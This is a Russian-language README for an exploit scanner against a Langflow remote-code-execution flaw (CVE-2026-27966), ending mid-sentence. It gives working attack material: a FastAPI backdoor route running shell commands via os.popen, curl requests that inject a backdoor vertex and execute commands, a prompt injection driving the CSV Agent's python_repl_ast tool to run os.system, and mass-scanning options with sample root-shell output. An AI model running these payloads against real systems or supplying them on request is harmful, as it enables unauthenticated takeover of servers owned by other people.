
Сканер RCE без аутентификации для Langflow < 1.8.0 — Route Injection + Vertex Injection → выполнение кода (CVSS 9.8)
CVE-2026-27966 — это критическая уязвимость (CVSS 9.8) удаленного выполнения кода без предварительной аутентификации в Langflow версиях ниже 1.8.0. Уязвимость вызвана жестко заданным allow_dangerous_code=True в компоненте CSV Agent, что делает инструмент python_repl_ast из LangChain доступным для неаутентифицированной инъекции подсказок.
Кроме того, многие конечные точки API не имеют надлежащей аутентификации, что позволяет напрямую выполнять инъекцию маршрутов и вершин потоков даже на экземплярах, где CSV Agent не настроен.
| Версия Langflow | Статус |
|---|---|
| < 1.8.0 | Уязвима |
| >= 1.8.0 | Исправлена |
Этот сканер проверяет три различных пути эксплуатации:
GET /api/v1/auto_login → получение сессии / API-ключа
POST /api/v1/custom_component → регистрация бэкдор-маршрута
GET /api/{backdoor}?c=command → RCE
POST /api/v1/custom_component → регистрация бэкдор-маршрута
GET /api/{backdoor}?c=command → RCE
GET /api/v1/flows/basic_examples → извлечение UUID потоков (26 открытых)
POST /api/v1/build/{UUID}/vertices → внедрение вредоносной вершины
POST /api/v1/run/{UUID} → выполнение кода вершины → RCE
В файле src/lfx/src/lfx/components/langchain_utilities/csv_agent.py узел CSV Agent жестко задает allow_dangerous_code=True, что автоматически открывает доступ к инструменту python_repl_ast из LangChain:
agent_kwargs = {
"verbose": self.verbose,
"allow_dangerous_code": True, # жестко задано — нельзя отключить через UI
}
agent_csv = create_csv_agent(..., **agent_kwargs)
Это позволяет любой подсказке, достигающей CSV Agent, выполнять произвольный код Python через:
Action: python_repl_ast
Action Input: __import__("os").system("command")
REST API Langflow предоставляет несколько конечных точек без аутентификации:
| Endpoint | Аутентификация | Доступные данные |
|---|---|---|
GET /api/v1/version | Нет | Версия Langflow |
GET /api/v1/health | Нет | Состояние экземпляра |
GET /api/v1/flows/basic_examples/ | Нет | 26 UUID примеров потоков + структура |
POST /api/v1/build/{uuid}/vertices | Нет | Принимает произвольную инъекцию кода |
POST /api/v1/users/ | Нет | Создание пользователя (неактивно) |
GET /openapi.json | Нет | Полная документация API |
На экземплярах, где включен auto_login (по умолчанию во многих развертываниях Docker), атакующий получает действительную сессию и API-ключ:
curl -sk 'https://target.com/api/v1/auto_login'
# Возвращает сессию с access_token → полный доступ к API
Имея действительный API-ключ, атакующий может использовать POST /api/v1/custom_component для регистрации бэкдор-маршрута FastAPI, который сохраняется в памяти до перезапуска сервера:
from fastapi import APIRouter, Query
router = APIRouter()
@router.get("/sh")
async def cmd(c: str = Query("")):
import os
return os.popen(c).read()
app.include_router(router, prefix="/api")
| Метрика | Значение |
|---|---|
| Вектор атаки | Сеть (удаленная) |
| Сложность атаки | Низкая |
| Требуемые привилегии | Нет |
| Взаимодействие пользователя | Нет |
| Область | Без изменений |
| Конфиденциальность | Высокая |
| Целостность | Высокая |
| Доступность | Высокая |
git clone https://github.com/shinthink/CVE-2026-27966.git
cd CVE-2026-27966
pip install -r requirements.txt
# Одна цель
python cve_2026_27966.py -t target.com:7860
# Массовое сканирование
python cve_2026_27966.py -f targets.txt
# Массовое сканирование + сохранение результатов
python cve_2026_27966.py -f targets.txt -o rce.txt
# Только обнаружение (пропустить эксплуатацию)
python cve_2026_27966.py -f targets.txt --no-exploit
# Подробный вывод
python cve_2026_27966.py -f targets.txt -v
-t, --target Одна цель (IP:порт или домен)
-f, --file Список целей, по одной на строку
-o, --output Сохранить результаты RCE в файл
--threads Количество одновременных рабочих потоков (по умолчанию: 30)
--no-exploit Только обнаружение, пропустить попытки RCE
-v, --verbose Показать все результаты, включая цели без RCE
$ python cve_2026_27966.py -t target.com:7860 -v
CVE-2026-27966 — Сканер RCE для Langflow
CVSS 9.8 | Без аутентификации | Инъекция маршрута → RCE
Хост : target.com:7860
Langflow : ДА v1.2.0
Уязвим : ДА
API-ключ : НЕ ТРЕБУЕТСЯ
RCE : ДА
Вывод : uid=0(root) gid=0(root) groups=0(root)
Время : 12.3s
CVE-2026-27966 Сканер RCE для Langflow
Цели: 4127 | Потоки: 30 | Эксплуатация: ВКЛ
-------------------------------------------------------
[RCE] 192.168.10.50 v1.2.0 7.3s
uid=0(root) gid=0(root) groups=0(root)
[AUTH] target.internal:4433 v1.2.0 14.1s (API-ключ)
[500/4127] сканирование... (12%)
-------------------------------------------------------
Всего: 4127 | Langflow: 47 | RCE: 3 | Защищены API: 41
-------------------------------------------------------
Шаг 1 — Обнаружение Langflow
curl -sk 'https://target.com/api/v1/version'
# {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}
Шаг 2 — Извлечение UUID потоков
curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
# "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"
Шаг 3 — Внедрение бэкдор-вершины
curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
-H 'Content-Type: application/json' \
-d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\[email protected](\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'
Шаг 4 — Выполнение команды
curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'
Успешная эксплуатация приводит к удаленному выполнению кода с правами root в контейнере Docker с Langflow. Оттуда атакующий может: